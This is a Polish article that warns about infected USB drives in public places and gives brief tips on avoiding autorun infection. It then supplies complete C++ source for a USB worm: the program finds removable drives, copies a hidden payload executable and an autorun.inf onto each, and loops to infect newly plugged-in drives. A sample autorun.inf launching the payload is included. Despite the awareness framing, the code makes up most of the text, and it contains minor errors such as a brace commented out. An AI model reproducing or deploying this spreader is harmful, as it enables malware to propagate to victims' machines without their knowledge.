Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak:
Biblioteki
Kafejki internetowe
Szkolna pracownia internetowa.... Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność. Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na
Narzędzia -> Opcje folderów -> Widok.
Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy
Ukryj chronione pliki systemu windows
Od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody. Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku. Na początku dołączamy pliki nagłówkowe takie jak:
#include <windows.h>
#include <string>
#include <vector>
Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC
void GetPendrives(std::vector<std::string>* pendrives)
{
char* bufor=new char[1024];
DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow
if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci
{
delete bufor;
bufor=new char[need];
GetLogicalDriveStrings(need,bufor);
}
int n=need/4; // ilosc dyskow
std::string* dyski=new std::string[n];
int i=0;
while(i<n) {
dyski[i]=(char*)(bufor+(i*4));
i++;
}
pendrives->clear();//usuwamy wszystko co jest w vectorze
i=0;
while(i<n) {
if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami
{
pendrives->push_back(dyski[i]);
}
i++;
}
}
Teraz czas na inne potrzebne nam funkcje
bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive
{
int n=vec.size();
int i=0;
while(i<n) {
if(vec[i]==str)
{
return true;
}
i++;
}
return false;
}
bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow
{
bool result = false;HRSRC hResource=NULL;hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA);
if(!hResource)
{
return result;
}
if( hResource != NULL ){
HGLOBAL hLoader = LoadResource(NULL,hResource);
if( hLoader != NULL ){
byte *data = (byte *)LockResource(hLoader);
DWORD len = SizeofResource(NULL,hResource);if( data != NULL && len > 0 ){
HANDLE hFile = CreateFile(filename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if( hFile != INVALID_HANDLE_VALUE ){
DWORD written = 0;
int write = WriteFile(hFile,
data,
len,
&written,
NULL);
if( len == written && write == TRUE )
result = true;
}
CloseHandle(hFile);
}
UnlockResource(hLoader);
}
FreeResource(hLoader);
}
return result;
}
A ten kod umieszczamy wewnatrz main:
std::vector<std::string> vec;
GetPendrives(&vec);
int i=0;
while(i<vec.size()){
//w tym momecie wypakowujemy na wszystkie pendrivy nasz plik
//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
std::string exe=vec[i];
std::string autorun=vec[i];
exe+="Start.exe";
autorun+="autorun.inf";
ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
i++;
}
std::vector<std::string> tmp;
int n=0;
i=0;
while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy
{
GetPendrives(&tmp);
n=tmp.size();
i=0;
while(i<n) {
if(!FindInVector(tmp[i].c_str(),vec))
{
//w tym momecie wypakowujemy na ten dysk nasz plik
//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
std::string exe=tmp[i];
std::string autorun=tmp[i];
exe+="Start.exe";
autorun+="autorun.inf";
ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy}
i++;
}
vec=tmp;
Sleep(10000);
}
Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w google Przykładowy plik autorun:
[autorun]
OPEN=Start.exe
shellexecute=Start.exe
shell=Auto
shellAuto=&Autoplay
shellAutocommand=Start.exe
Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005 Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivy Autor artykułu: Grzonu (grzonu.com.pl)